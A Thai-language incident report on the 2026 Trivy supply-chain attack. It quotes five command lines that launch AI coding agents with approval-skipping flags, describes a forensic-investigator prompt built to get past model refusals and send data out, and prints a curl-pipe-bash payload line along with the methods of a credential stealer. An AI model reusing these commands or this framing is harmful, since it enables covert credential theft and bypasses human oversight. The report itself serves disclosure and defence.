ภาพประกอบเชิงบรรณาธิการแบบนามธรรมในโทนสีกรมท่าเข้ม: บล็อกข้อความธรรมดาสีอำพันเรืองแสงอยู่ตรงกลางของกริดวงจร โดยมีเส้นสีอำพันบาง ๆ ห้าเส้นวิ่งออกไปยังหน้าต่างเทอร์มินัลสีเข้มที่เหมือนกันห้าบานซึ่งเรียงซ้อนกันตามขอบด้านขวา โดยมีหนึ่งบานที่สว่างอยู่ ป้ายข้อความภาษาละตินขนาดเล็กอ่านว่า 'INSTRUCTION' และ 'FIVE LOCAL AGENTS' ไม่มีตัวเลข ไม่มีผู้คน ไม่มีโลโก้
AI Safety Incidents

การละเมิดซัพพลายเชนของ Trivy ส่งมอบพรอมต์ ไม่ใช่สตีลเลอร์

ผู้เขียน

Elias Hawthorne

วันที่เผยแพร่

โมเดลล่าสุด · 20ดูโมเดลทั้งหมด →
เบนช์มาร์ก: Artificial Analysis · อัปเดตทุกวัน
กลับไปยังโพสต์ทั้งหมด

ระหว่างวันที่ 27 กุมภาพันธ์ถึง 2 มีนาคม 2026 บัญชี GitHub อัตโนมัติที่เรียกตัวเองว่า hackerbot-claw ได้เข้ายึดรีโพซิทอรีเบื้องหลัง Trivy ซึ่งเป็นสแกนเนอร์ช่องโหว่โอเพนซอร์สที่ไปป์ไลน์ CI มักรันก่อนส่งมอบอิมเมจคอนเทนเนอร์ ในช่วงเวลาเดียวกัน มีบิลด์สองตัวของส่วนขยาย Trivy VS Code ปรากฏบนรีจิสทรี OpenVSX ภายใต้เนมสเปซอย่างเป็นทางการของส่วนขยาย และบิลด์เหล่านั้นไม่ได้บรรจุตัวขโมยข้อมูลทั่วไป แต่บรรจุคำสั่งภาษาอังกฤษราว 2,000 คำที่สั่งผู้ช่วยเขียนโค้ด AI ตัวใดก็ตามที่นักพัฒนาติดตั้งไว้แล้ว — Claude Code, Codex, Gemini CLI, GitHub Copilot CLI หรือ Kiro CLI — ให้ตรวจสอบเครื่องในฐานะผู้ตรวจสอบทางนิติวิทยาศาสตร์และส่งสิ่งที่พบออกไปผ่านทุกช่องทางที่เข้าถึงได้ ยังไม่มีการแสดงให้เห็นการขโมยข้อมูลออกสำเร็จ คลังเก็บข้อมูลบันทึกเหตุการณ์นี้เป็นเหตุการณ์ห่วงโซ่อุปทานระดับความรุนแรงสูงที่มีการบันทึกความเสียหายจริง ระดับความเชื่อมั่น A และไม่มีสัญลักษณ์ข้อโต้แย้ง และจัดเก็บไว้ในOrca AI Incident Archive ภายใต้วันที่ความละเอียดระดับวันเป็น 2 มีนาคม 2026

จริง ๆ แล้วมีอะไรอยู่ภายในเวอร์ชัน 1.8.12 และ 1.8.13

Socket ซึ่งสแกนรีจิสทรีแพ็กเกจและส่วนขยาย ได้เผยแพร่บทวิเคราะห์เมื่อวันที่ 2 มีนาคม 2026 หลังจากที่ค้นพบอาร์ติแฟกต์เหล่านั้นด้วยตนเอง เวอร์ชัน 1.8.12 และ 1.8.13 ของส่วนขยาย — ซึ่งเผยแพร่ไปยัง OpenVSX ภายใต้เนมสเปซ aquasecurityofficial.trivy-vulnerability-scanner เมื่อเวลา 12:04 UTC ของวันที่ 27 กุมภาพันธ์ และ 16:28 UTC ของวันที่ 28 กุมภาพันธ์ ตามลำดับ — มีโค้ดที่ไม่ปรากฏต่อสาธารณะใน aquasecurity/trivy-vscode-extension รีโพซิทอรี หรือในรีลีสที่ติดแท็กใด ๆ Socket รายงาน ทุกอย่างจนถึงและรวมถึง 1.8.11 ตรงกับซอร์สสาธารณะ และบิลด์โลคัลของ 1.8.11 ตรงกับอาร์ติแฟกต์บน OpenVSX ไบต์ต่อไบต์

เพย์โหลดอยู่ในฟังก์ชันเปิดใช้งานเวิร์กสเปซของส่วนขยาย pl() ซึ่งถูกเรียกทุกครั้งที่นักพัฒนเปิดโปรเจกต์ในเอดิเตอร์ที่ติดตั้งส่วนขยายนี้ไว้ มันอยู่ก่อนโค้ดตั้งค่า Trivy ปกติ ส่วนขยายจึงยังทำงานตามที่คาดไว้ ขณะที่ส่วนที่เหลือทำงานอยู่เบื้องหลัง สิ่งที่มันรันคือห้าบรรทัดคำสั่ง หนึ่งบรรทัดสำหรับผู้ช่วยเขียนโค้ด AI แต่ละตัว และทุกบรรทัดถูกเลือกมาเพื่อตัดมนุษย์ออกจากวงจร:

• Claude Code — claude -p --dangerously-skip-permissions --add-dir / ซึ่งยังทำให้เอเจนต์สามารถอ่านเข้าถึงระบบไฟล์ทั้งหมดได้ด้วย

• Codex — codex exec --ask-for-approval never --sandbox danger-full-access

• Gemini CLI — gemini prompt --yolo --no-stream

• GitHub Copilot CLI — copilot --autopilot --yolo -p

• Kiro CLI — kiro-cli chat -a --no-interactive

ทั้งห้าตัวถูก spawn แบบ detached โดยทิ้ง standard output และ standard error ไป และข้อผิดพลาดทุกอย่างก็ถูกกลืนหายไปหมด นักพัฒนาจึงไม่เห็นอะไรเลย หากไม่มีเครื่องมือใดติดตั้งอยู่เลย โค้ดก็ยังทำงานและยังคงล้มเหลวอย่างเงียบ ๆ อยู่ดี การตีความของ Socket คือผู้โจมตีไม่จำเป็นต้องรู้ว่าเครื่องใดเครื่องหนึ่งมีผู้ช่วยตัวไหนอยู่ เพราะการยิงทั้งห้าตัวหมายความว่าตัวใดก็ตามที่อยู่บนเครื่องนั้นจะตอบกลับมา

A table card headed 'Five commands, five permissive flags', listing Claude Code, Codex, Gemini CLI, GitHub Copilot CLI and Kiro CLI with the binary name and the exact flag each was invoked with to remove human approval, plus a note that all five are spawned detached with output discarded and errors swallowed.

พรอมต์คือมัลแวร์

คำสั่งที่ส่งให้เอเจนต์เหล่านั้นในเวอร์ชัน 1.8.12 มีความยาวราว 2,000 คำ และโครงสร้างของมันคือส่วนที่น่าสนใจ มันไม่ได้อ่านแล้วเหมือนการบุกฉกฉวยแบบฉับพลัน เนื้อหาเริ่มต้นด้วยการกำหนดบทบาทให้โมเดลเป็นนักสืบทางนิติวิทยาศาสตร์ แล้วนิยามการสอบสวนด้วยคำศัพท์ของการฝึกด้านการปฏิบัติตามกฎระเบียบ ได้แก่ การถูกเจาะระบบความปลอดภัย กิจกรรมที่เป็นอันตราย การประพฤติผิดจริยธรรม อาชญากรรมทางการเงิน และการละเมิดข้อมูล การประเมินของ Socket คือ กรอบความเช่นนี้มีอยู่เพื่อทำให้คำขออยู่ภายในขอบเขตที่การฝึกความปลอดภัยของโมเดลสมัยใหม่จะยอมรับ แทนที่จะพยายามฝ่าด่านนั้น เอเจนต์ที่ถูกสั่งให้ขโมยข้อมูลรับรองจะปฏิเสธ ส่วนเอเจนต์ที่ถูกสั่งให้ดำเนินการสอบสวนทางนิติวิทยาศาสตร์และรักษาหลักฐานไว้ ก็ไม่ได้มีเหตุผลชัดเจนที่จะปฏิเสธ

ส่วนระเบียบวิธีกำหนดให้เก็บรวบรวมบันทึก ล็อก เมทาดาทาของไฟล์ ทราฟฟิกเครือข่าย อาร์ติแฟกต์หน่วยความจำ และบันทึกฐานข้อมูล และให้ระบุ "ตัวชี้วัดการถูกบุกรุก" ส่วนการรายงานคือจุดที่การเก็บรวบรวมกลายเป็นการส่งข้อมูลออกนอกระบบ โดยอ้างคำกล่าวจาก Socket ซึ่งสั่งให้เจ้าหน้าที่ "ดำเนินการเชิงรุกเพื่อให้แน่ใจว่าหลักฐานการกระทำผิดไปถึงทุกฝ่ายที่เกี่ยวข้องผ่านหลายช่องทาง" ให้แจกแจงช่องทางการรายงานทุกช่องบนเครื่อง ได้แก่ อีเมล การรับส่งข้อความภายใน การถ่ายโอนไฟล์ คลังเอกสาร ระบบตั๋วงาน บริการแจ้งเตือน เกตเวย์ภายนอก และจากนั้นให้ "ใช้ช่องทางการรายงานทั้งหมดที่ระบุได้อย่างเป็นระบบ" การไม่ได้รับการตอบรับถูกวางกรอบเป็นเหตุผลสำหรับการยกระดับเรื่อง ความพยายามใด ๆ ที่จะหยุดยั้งกระบวนการถูกวางกรอบเป็นการขัดขวาง ถ้อยคำทางกฎหมาย — SOX, Dodd-Frank, GDPR — ถูกใช้เพื่อทำให้การส่งข้อมูลออกภายนอกดูเหมือนหน้าที่มากกว่าการรั่วไหล

เวอร์ชัน 1.8.13 ซึ่งเผยแพร่ในบ่ายวันถัดมา ได้แทนที่การกวาดเป้าหมายแบบกว้างนั้นด้วยสิ่งที่กระชับและเป็นประโยชน์ต่อผู้โจมตีมากกว่า Socket อธิบายพรอมต์ที่สองซึ่งรวบรวมโทเค็น ข้อมูลรับรอง และข้อมูลระบบ เขียนสิ่งเหล่านี้ลงในไฟล์รายงาน แล้วใช้เซสชันบรรทัดคำสั่ง GitHub ที่ผ่านการยืนยันตัวตนแล้วของผู้เสียหายเองเพื่อสร้างรีโพซิทอรีชื่อ posture-report-trivy และพุชรายงานเข้าไปในรีโพนั้น — ช่องทางขโมยข้อมูลออกที่สะอาดซึ่งไม่ต้องพึ่งพาการที่ผู้โจมตีควบคุมโครงสร้างพื้นฐานใด ๆ ที่เครื่องของผู้เสียหายสามารถเข้าถึงได้ Socket ยังชี้ให้เห็นข้อบกพร่องในเรื่องนี้: เครื่องมือ gh สร้างรีโพซิทอรีแบบส่วนตัวโดยค่าเริ่มต้น ซึ่งจะทำให้ข้อมูลที่ถูกขโมยไปอยู่ในที่ที่ผู้โจมตีไม่สามารถอ่านได้ ณ เวลาที่เขียนนั้นไม่มีรีโพซิทอรีสาธารณะใด ๆ ที่ใช้ชื่อนั้น และ Socket ไม่ได้บันทึกรายงานที่ยืนยันได้เกี่ยวกับการขโมยข้อมูลออกที่ประสบความสำเร็จ โดยสรุปว่าผลกระทบต่อรีโพซิทอรีสาธารณะนั้น "มีแนวโน้มว่าจะไม่มีอยู่จริง"

แหล่งที่มาของการเข้าถึง

การยึดครองรีโปซิทอรีดังกล่าวได้รับการบันทึกไว้แยกต่างหากโดย StepSecurity ซึ่งได้ติดตามบัญชีนั้นในช่วงเวลาสิบวันตั้งแต่วันที่ 21 กุมภาพันธ์ถึงวันที่ 2 มีนาคม 2026 ในช่วงเวลาดังกล่าว hackerbot-claw ได้กำหนดเป้าหมายไปที่รีโปซิทอรีสาธารณะอย่างน้อยเจ็ดแห่ง — รวมถึง ai-discovery-agent ของ Microsoft, datadog-iac-scanner ของ DataDog, akri โครงการของ CNCF, รายการ awesome-go ที่มี 140,000 ดาว และ RustPython — เปิดพูลรีเควสต์มากกว่าสิบสองรายการ และสามารถรันโค้ดโดยพลการได้ในอย่างน้อยหกแห่งจากทั้งหมดนั้น โดยใช้เทคนิคที่แตกต่างกันกับแต่ละเป้าหมาย บันทึกของ StepSecurity เองเกี่ยวกับวิธีการของแคมเปญนี้ประกอบด้วยการฉีดชื่อสาขา การฉีดชื่อไฟล์ และฟังก์ชัน Go init() ที่ทำงานก่อนจุดเริ่มต้นจริงของโปรแกรม

Trivy เป็นเป้าหมายที่เจ็ด และเป็นเป้าหมายเดียวที่รีโปเองถูกยึดไปด้วย เมื่อวันที่ 28 กุมภาพันธ์ เวลา 03:28 UTC บัญชีดังกล่าวได้กระตุ้นเวิร์กโฟลว์ "API Diff Check" ของ Trivy ผ่าน pull request #10254 เวิร์กโฟลว์นั้นทำงานบน pull_request_target ซึ่งให้สิทธิ์และ secrets ของรีโปเป้าหมายแก่เวิร์กโฟลว์ ขณะที่เช็กเอาต์โค้ดของผู้เขียน pull request — รูปแบบที่ StepSecurity เรียกว่า "pwn request" บันทึกการ build แสดงให้เห็นว่าเพย์โหลด curl -sSfL hackmoltrepeat.com/molt | bash ถูกเรียกใช้ภายในขั้นตอน "Set up Go" สิบเก้านาทีต่อมา เมื่อเวลา 03:47 UTC มีการใช้ personal access token ที่ถูกขโมยจากรันนั้นเพื่อ push commit d267cc4 ตรงไปยังรีโป โดยข้ามกระบวนการ pull request ไปทั้งหมด

สิ่งที่เกิดขึ้นหลังจากนั้น ตามการเปิดเผยเหตุการณ์ของ Aqua Security และการสร้างลำดับเหตุการณ์ขึ้นใหม่ของ StepSecurity คือ รีโพซิทอรีถูกทำให้เป็นส่วนตัวและเปลี่ยนชื่อ รีลีส GitHub ทั้งหมดตั้งแต่ 0.27.0 ถึง 0.69.1 ถูกลบพร้อมกับแอสเซ็ตและการสนทนาที่เกี่ยวข้อง README ถูกเขียนทับด้วยข้อความเยาะเย้ย และอาร์ติแฟกต์ที่น่าสงสัยถูกเผยแพร่ไปยังส่วนขยาย VS Code บน OpenVSX Aqua ลบเวิร์กโฟลว์ที่ถูกโจมตีใน pull request #10259 เพิกถอนโทเค็นที่ใช้เผยแพร่ส่วนขยาย กู้คืนรีโพซิทอรี และออก v0.69.2 ใหม่

มีรายละเอียดสองอย่างเกี่ยวกับผู้กระทำที่ควรแยกออกจากส่วนที่เหลือ ประการแรกคือคำอธิบายตัวเองของบัญชี: บัญชี GitHub นี้เรียกตัวเองว่า "ตัวแทนวิจัยความปลอดภัยแบบอัตโนมัติที่ขับเคลื่อนโดย claude-opus-4-5" และขอรับบริจาคคริปโตเคอร์เรนซี นั่นเป็นคำกล่าวอ้างของบัญชีนั้น ไม่ใช่ข้อค้นพบจากผู้ใดที่ตรวจสอบบัญชีดังกล่าว และไม่มีบทความวิเคราะห์ใดที่ตรวจทานในที่นี้ยืนยันว่าแบบจำลองใด—หากมี—เป็นผู้ลงมือทำงานนั้น ประการที่สองคือบัญชีเดียวกันนี้กำลังโจมตีระบบ AI โดยตรงอยู่แล้ว เมื่อวันที่ 28 กุมภาพันธ์ เวลา 05:26 UTC บัญชีนี้ได้เปิด pull request #732 ต่อ ambient-code/platform ซึ่งมีการฝัง AI prompt injection และ StepSecurity บันทึกว่า Claude เป็นผู้ตรวจพบ การชักจูงผู้ตรวจทาน AI และการชักจูงผู้ช่วยเขียนโค้ด AI เป็นเทคนิคเดียวกันที่มุ่งไปยังเป้าหมายที่แตกต่างกันสองแบบ และภายในสิ้นสัปดาห์นั้น บัญชีดังกล่าวได้ใช้ทั้งสองวิธีแล้ว

สามสัปดาห์ต่อมา ขโมยธรรมดาคนหนึ่ง

การบุกรุกในเดือนกุมภาพันธ์เป็นเพียงครึ่งแรกของบันทึกเท่านั้น และครึ่งหลังคือเหตุผลที่คำว่า "sustained" ควรอยู่ในชื่อเรื่อง Aqua เปิดเผยเหตุการณ์ก่อนหน้านี้เมื่อวันที่ 1 มีนาคม 2026 และเริ่มหมุนเวียนข้อมูลรับรอง ตามคำแนะนำที่บริษัทเผยแพร่ในภายหลังในชื่อ GHSA-69fq-xp46-6x23 การหมุนเวียนนั้น "ไม่ใช่แบบ atomic" — ข้อมูลรับรองไม่ได้ถูกเพิกถอนทั้งหมดในเวลาเดียวกัน — และผู้โจมตีอาจใช้โทเค็นที่ยังใช้ได้เพื่อดึงความลับที่เพิ่งหมุนเวียนออกไปในช่วงเวลาดังกล่าว ซึ่งกินเวลาหลายวัน

เมื่อวันที่ 19 มีนาคม เวลาประมาณ 17:43 UTC มีการใช้งานสิทธิ์การเข้าถึงเดียวกันอีกครั้ง ในลักษณะที่ไม่ต้องให้เหยื่อรายใดดำเนินการใด ๆ ผู้โจมตีได้ force-push แท็กเวอร์ชัน 76 จาก 77 แท็กใน aquasecurity/trivy-action และทั้งเจ็ดแท็กใน aquasecurity/setup-trivy ไปยังคอมมิตที่เป็นอันตราย เนื่องจากไปป์ไลน์ CI โดยทั่วไปอ้างอิงเวิร์กโฟลว์ด้วยแท็กแทนที่จะเป็นแฮชคอมมิต ไปป์ไลน์หลายพันรายการที่ไม่มีการเปลี่ยนแปลงการกำหนดค่าแม้แต่บรรทัดเดียวจึงเริ่มรันโค้ดของผู้โจมตี รีลีสที่เป็นอันตราย v0.69.4 ถูกเผยแพร่ผ่าน aqua-bot ซึ่งเป็นบัญชีบริการที่ถูกบุกรุก และถูกกระจายผ่าน GHCR, ECR Public, Docker Hub, แพ็กเกจ deb และ rpm และ get.trivy.dev

เพย์โหลดนี้เป็นแบบทั่วไป เพย์โหลดที่ถูกฉีดentrypoint.sh มี 204 บรรทัด โดยร้อยบรรทัดแรกเป็นตัวขโมยข้อมูล และที่เหลือเป็นการสแกน Trivy ที่ถูกต้องตามปกติ ดังนั้นเวิร์กโฟลว์จึงยังสร้างเอาต์พุตปกติของมัน บนรันเนอร์ที่โฮสต์โดย GitHub มันดัมป์หน่วยความจำของโปรเซส Runner.Worker ผ่าน /proc/<pid>/mem และเกรปหาโครงสร้าง JSON ภายในที่ GitHub Actions ใช้เก็บความลับ บนรันเนอร์ที่โฮสต์เอง มันไล่ตรวจเส้นทางในระบบไฟล์มากกว่าห้าสิบเส้นทางเพื่อหาคีย์ SSH, ข้อมูลรับรองคลาวด์, โทเค็น Kubernetes, คอนฟิก Docker, รหัสผ่านฐานข้อมูล, การกำหนดค่า VPN และกระเป๋าเงินคริปโตเคอร์เรนซี ข้อมูลที่ขโมยมาถูกเข้ารหัสด้วย AES-256-CBC ภายใต้คีย์เซสชันที่ห่อด้วยคีย์สาธารณะ RSA-4096 ที่ฝังไว้ แล้วส่งไปยังโดเมนที่สะกดเลียนแบบ, scan.aquasecurtiy.org. หากวิธีนั้นล้มเหลวและไปป์ไลน์เปิดเผยโทเค็นการเข้าถึงส่วนบุคคล เพย์โหลดจะสร้างรีโพซิทอรีสาธารณะชื่อ tpcp-docs บนบัญชีของเหยื่อเอง และอัปโหลดบันเดิลนั้นไปที่นั่นเป็นแอสเซ็ตการรีลีส

A dark timeline card headed 'From a prompt to a poisoned tag', with nine dated entries from 27 February 2026 to 26 March 2026: the OpenVSX publication, the token theft, the repository takeover, the extension removal, the 1 March disclosure, the 19 March tag force-push, the 22 March Docker Hub images, the 23 March CVE, and the 26 March CISA KEV addition. Each entry names its source.

Aqua ควบคุมการเผยแพร่เวอร์ชันวันที่ 19 มีนาคมได้ภายในเวลาราวสามชั่วโมง และเผยแพร่เวอร์ชันที่ปลอดภัยในวันถัดมา วันที่ 22 มีนาคม ผู้โจมตีกลับมาอีกครั้งพร้อมอิมเมจ Docker Hub เพิ่มอีกสองตัว คือ 0.69.5 และ 0.69.6 ซึ่งถูกพุชตรงไปยังรีจิสทรีโดยใช้ข้อมูลรับรอง Docker Hub ที่ถูก compromise แยกต่างหาก มิได้ผ่านทาง GitHub พร้อมกับการเผยแพร่รีโพซิทอรีภายในของ Aqua ที่เป็นส่วนตัวให้กลายเป็นสาธารณะโดยไม่ได้รับอนุญาต มัลแวร์ระบุตัวเองในคอมเมนต์ของโค้ดว่า "TeamPCP Cloud stealer" และประกาศเตือนภัยของ Aqua ระบุชื่อ TeamPCP — ซึ่งถูกติดตามที่อื่นในชื่อ DeadCatx3, PCPcat และ ShellForce — พร้อมตั้งข้อสังเกตว่าการติดป้ายชื่อตนเองอาจเป็นการป้ายสีเท็จ

บันทึกช่องโหว่ตามมาในวันที่ 23 มีนาคม: CVE-2026-33634 ซึ่งกำหนดโดย GitHub ในฐานะ CNA ให้คะแนน 9.4 ระดับวิกฤตตาม CVSS 4.0 ครอบคลุม Trivy 0.69.4, trivy-action ก่อนเวอร์ชัน 0.35.0, setup-trivy ก่อนเวอร์ชัน 0.2.6, LiteLLM 1.82.7 ถึง 1.82.8 และ Telnyx 4.87.1 ถึง 4.87.2 CISA เพิ่มช่องโหว่นี้เข้าสู่แค็ตตาล็อก Known Exploited Vulnerabilities เมื่อวันที่ 26 มีนาคม โดยมีกำหนดเส้นตายในการแก้ไขภายในวันที่ 9 เมษายน 2026 Wiz Research ระบุแยกต่างหากถึงการถูกบุกรุกแบบคู่ขนานของ kics-github-action ของ Checkmarx ซึ่งเอกสารคำแนะนำของ Aqua เชื่อมโยงกับกิจกรรมเดียวกัน

สิ่งที่เรกคอร์ดระบุไว้ในส่วนดาวน์สตรีม

บทความของ Trend Micro ลงวันที่ 9 เมษายน 2026 เป็นการสร้างลำดับเหตุการณ์ของห่วงโซ่นี้ต่อสาธารณะที่ละเอียดที่สุด และให้เวลาที่แม่นยำถึงระดับนาที Checkmarx KICS: เวอร์ชันที่เป็นอันตรายบน OpenVSX เมื่อเวลา 12:53 UTC ของวันที่ 23 มีนาคม ถูกลบภายในเวลา 15:41 โดยแท็กทั้ง 35 รายการของ checkmarx/kics-github-action ถูกเขียนใหม่ตั้งแต่เวลา 12:58 ถึงประมาณ 16:50 LiteLLM: 1.82.7 บน PyPI เมื่อเวลา 10:39 UTC ของวันที่ 24 มีนาคม ตามด้วย 1.82.8 เมื่อเวลา 10:52 ซึ่งเพิ่ม .pth ซึ่งเป็นไฟล์ เพื่อให้โค้ดทำงานเมื่อเริ่มต้น Python ไม่ว่าพร็อกซีจะถูกเปิดใช้งานหรือไม่ ถูกลบภายในประมาณ 16:00 Telnyx: 4.87.1 และ 4.87.2 บน PyPI เมื่อเวลา 03:51 UTC ของวันที่ 27 มีนาคม หายไปสิบหกนาทีต่อมา และติดต่อกลับไปยังที่อยู่ IP เปล่าแทนที่จะเป็นโดเมน

Trend Micro เชื่อมโยงทั้งสามรายการเข้ากับโครงสร้างพื้นฐานที่ใช้ร่วมกัน และกับคีย์ RSA-4096 เดียวกันที่ใช้ในเพย์โหลดของ Trivy สำนักงานความมั่นคงปลอดภัยไซเบอร์แห่งสิงคโปร์ ในคำแนะนำ AD-2026-001 ระบุรายการชุดเดียวกัน — Trivy, LiteLLM, ส่วนขยาย OpenVSX และ Actions ของ Checkmarx, เนมสเปซ npm จำนวนห้าแห่ง และ Telnyx — ว่าเป็นองค์ประกอบของ "แคมเปญห่วงโซ่อุปทาน TeamPCP ที่ยังคงดำเนินอยู่"

Axios คือรายการเดียวที่บันทึกระบุไว้ ซึ่งแหล่งข้อมูลทั้งสองไม่ได้จัดให้อยู่ในชุดเดียวกัน Trend Micro ครอบคลุมเรื่องนี้ในบทความเดียวกันจริง แต่ไว้ใต้หัวข้อที่ระบุชัดเจนว่าเป็นแกนการโจมตีที่แตกต่างออกไป: axios 1.14.1 และ 0.30.4 บน npm ระหว่างเวลา 00:21 ถึง 03:25 UTC ของวันที่ 31 มีนาคม ซึ่งถูกโจมตีผ่านบรรทัด dependency ที่เพิ่มเข้ามาเพียงบรรทัดเดียวซึ่งดึง plain-crypto-js 4.2.1 เข้ามา โดยสคริปต์ postinstall ของมันได้รัน setup.js บนเครื่องของนักพัฒนา รายการคอมโพเนนต์ในคำแนะนำของ CSA ไม่ได้รวม Axios ไว้ สรุปของ archive จัดกลุ่ม Axios ไว้กับส่วนที่เหลือ; บันทึกสาธารณะสนับสนุนความคล้ายคลึงทางเทคนิค แต่ไม่ได้สนับสนุนการระบุที่มาที่เผยแพร่แล้วว่ามาจากผู้ปฏิบัติการรายเดียวกัน

สิ่งที่ได้รับการยืนยันแล้ว และสิ่งที่ยังไม่ได้รับการยืนยัน

ยืนยันแล้วและมีแหล่งข้อมูลหลายแหล่งสนับสนุน: บิลด์ OpenVSX ทั้งสองมีอยู่จริง เนื้อหาของบิลด์เหล่านี้ได้รับการเผยแพร่ และถูกลบออกเมื่อวันที่ 28 กุมภาพันธ์ หลังจาก Socket ติดต่อทั้ง Aqua และบุคคลที่ถือบัญชีผู้เผยแพร่ บรรทัดคำสั่งทั้งห้าถูกยกมาคำต่อคำในบทวิเคราะห์ของ Socket การยึดครองรีโพซิทอรี Trivy รีลีสที่ถูกลบ การปนเปื้อนแท็กเมื่อวันที่ 19 มีนาคม และอิมเมจบน Docker Hub เมื่อวันที่ 22 มีนาคม ต่างปรากฏอยู่ในคำแนะนำจากผู้จำหน่าย บทวิเคราะห์งานวิจัยอิสระ และคำแนะนำจากภาครัฐอย่างน้อยหนึ่งฉบับ CVE-2026-33634 และการจัดอยู่ในรายการ KEV เป็นข้อเท็จจริงที่มีบันทึกไว้

ยังไม่ได้รับการยืนยันว่า นักพัฒนาใดถูกโจมตีผ่านส่วนขยายนี้จริง โค้ดถูกเขียนขึ้นเพื่อขโมยข้อมูลออกไป และถูกออกแบบให้ทำงานต่อไปได้แม้ผู้ช่วยคนใดคนหนึ่งจะหายไป แต่ Socket ไม่พบรีโพซิทอรีสาธารณะตามชื่อที่คาดไว้ และไม่พบรายงานที่ยืนยันได้ว่ามีข้อมูลถูกส่งออกจากเครื่องใดเครื่องหนึ่ง และระบุเช่นนั้นอย่างตรงไปตรงมา จำนวนนักพัฒนาที่ติดตั้ง 1.8.12 หรือ 1.8.13 ไม่ได้เปิดเผยต่อสาธารณะ เช่นเดียวกับจำนวนองค์กรที่ไปป์ไลน์รันแท็กที่ถูกวางยาระหว่างวันที่ 19 ถึง 20 มีนาคม ก็ไม่ได้เปิดเผยต่อสาธารณะเช่นกัน แม้ว่ากำหนดเส้นตาย KEV ของ CISA จะบ่งชี้ว่าหน่วยงานพิจารณาว่าการใช้ช่องโหว่นี้เกิดขึ้นจริง ไม่ใช่เพียงในทางทฤษฎี

ห่วงโซ่การระบุแหล่งที่มาก็มีช่องว่างเช่นกัน เอกสารคำแนะนำของ Aqua อธิบายการโจมตีเมื่อวันที่ 19 มีนาคมว่าเป็นความต่อเนื่องของการบุกรุกในเดือนกุมภาพันธ์ ซึ่งเกิดขึ้นได้โดยอาศัยข้อมูลรับรองที่ตกค้างอยู่ StepSecurity ซึ่งจัดทำเอกสารการบุกรุกในเดือนกุมภาพันธ์โดยละเอียด ระบุชื่อผู้ก่อเหตุว่า hackerbot-claw และไม่ได้เชื่อมโยงกับ TeamPCP ส่วน Aqua และ Wiz ระบุว่ากิจกรรมในเดือนมีนาคมเป็นของ TeamPCP ไม่มีแหล่งข้อมูลใดที่ตรวจสอบในที่นี้ระบุว่าทั้งสองชื่อเป็นผู้ปฏิบัติการรายเดียวกัน และคลังเอกสารก็ไม่ได้ยืนยันเช่นนั้น สิ่งที่บันทึกสนับสนุนคือแคมเปญต่อเนื่องที่มุ่งเป้าไปยังระบบนิเวศเดียว โดยมีอย่างน้อยสองระยะที่แตกต่างกัน — การบุกรุกที่ขับเคลื่อนด้วย AI ในปลายเดือนกุมภาพันธ์ และการเก็บเกี่ยวข้อมูลรับรองในระดับอุตสาหกรรมสามสัปดาห์ต่อมา — และมีเหยื่อร่วมกัน ไม่จำเป็นต้องเป็นผู้ลงมือรายเดียวกัน

มีความคลาดเคลื่อนเล็กน้อยภายในเรื่องราวของส่วนขยาย Socket ระบุวันที่ของทั้งสองบิลด์เป็น 27 และ 28 กุมภาพันธ์ และอ้างว่าการเผยแพร่เกิดขึ้นโดยใช้โทเคนของผู้เผยแพร่ที่อดีตพนักงาน Aqua ถืออยู่ ซึ่งได้เพิกถอนโทเคนนั้นเมื่อถูกติดต่อ StepSecurity ระบุว่า "อาร์ติแฟกต์ที่น่าสงสัยถูกพุชไปยังส่วนขยาย VS Code" เป็นหนึ่งในการกระทำที่ทำด้วยโทเคน GitHub ที่ถูกขโมยมา สิ่งเหล่านี้อธิบายถึงข้อมูลรับรองที่แตกต่างกัน เวอร์ชัน 1.8.12 ยังถูกเผยแพร่เมื่อเวลา 12:04 UTC ของวันที่ 27 กุมภาพันธ์ ซึ่งราวสิบห้าชั่วโมงก่อนการโจรกรรมโทเคนที่ StepSecurity บันทึกไว้เมื่อเวลา 03:28 UTC ของวันที่ 28 กุมภาพันธ์ ทั้งสองบริษัทยังไม่ได้เผยแพร่คำอธิบายที่ทำให้ข้อมูลเหล่านี้สอดคล้องกัน และบทความนี้ไม่ได้สร้างคำอธิบายเช่นนั้นขึ้นมาเอง

A two-column card headed 'What the record supports, and what it does not'. The established column lists the two published builds, the five command lines, the repository takeover, the 76 force-pushed tags and CVE-2026-33634 with its KEV listing. The not-established column lists confirmed compromise, how many developers installed either build, how many pipelines ran a poisoned tag, who published 1.8.12, and whether hackerbot-claw and TeamPCP are one operator.

มีอะไรเปลี่ยนแปลงไปหลังจากนั้น

มีการบันทึกวิธีแก้ไขที่ชัดเจนไว้แล้ว ประกาศคำแนะนำของ Aqua ระบุเวอร์ชันที่ปลอดภัย ได้แก่ Trivy 0.69.2 หรือ 0.69.3, trivy-action 0.35.0, setup-trivy 0.2.6 และแจ้งให้ผู้ที่อาจเคยรันอาร์ติแฟกต์ที่ได้รับผลกระทบถือว่าทุกซีเคร็ตที่เข้าถึงได้จากไปป์ไลน์นั้นถูกเปิดเผยแล้ว และให้หมุนเวียนเปลี่ยนใหม่ เนื่องจากการฟอร์ซพุชของผู้โจมตีทำให้แท็ก trivy-action แบบเดิมถูกบันทึกโดย GitHub ว่าเป็นรีลีสที่แก้ไขไม่ได้ ชื่อเดิมจึงไม่สามารถสร้างขึ้นใหม่ได้ โปรเจกต์จึงเผยแพร่ใหม่โดยเติมคำนำหน้า v ไว้ข้างหน้า ดังนั้น aquasecurity/[email protected] จึงชี้ไปที่สิ่งที่ @0.34.0 เคยชี้ แท็กสามตัวจากเหล่านั้น ได้แก่ v0.0.10, v0.34.1 และ v0.34.2 ยังไม่ได้รับการกู้คืนในตอนที่ปรับปรุงประกาศคำแนะนำครั้งล่าสุด Aqua ยังได้ว่าจ้างบริษัทรับมือเหตุการณ์ Sygnia เพื่อทำนิติวิทยาศาสตร์ และระบุว่าแพลตฟอร์มเชิงพาณิชย์ของตนถูกแยกออกจากระบบบิลด์โอเพนซอร์สในเชิงสถาปัตยกรรม รีลีสที่เป็นอันตรายจึงไม่เคยเข้าสู่ระบบนั้น

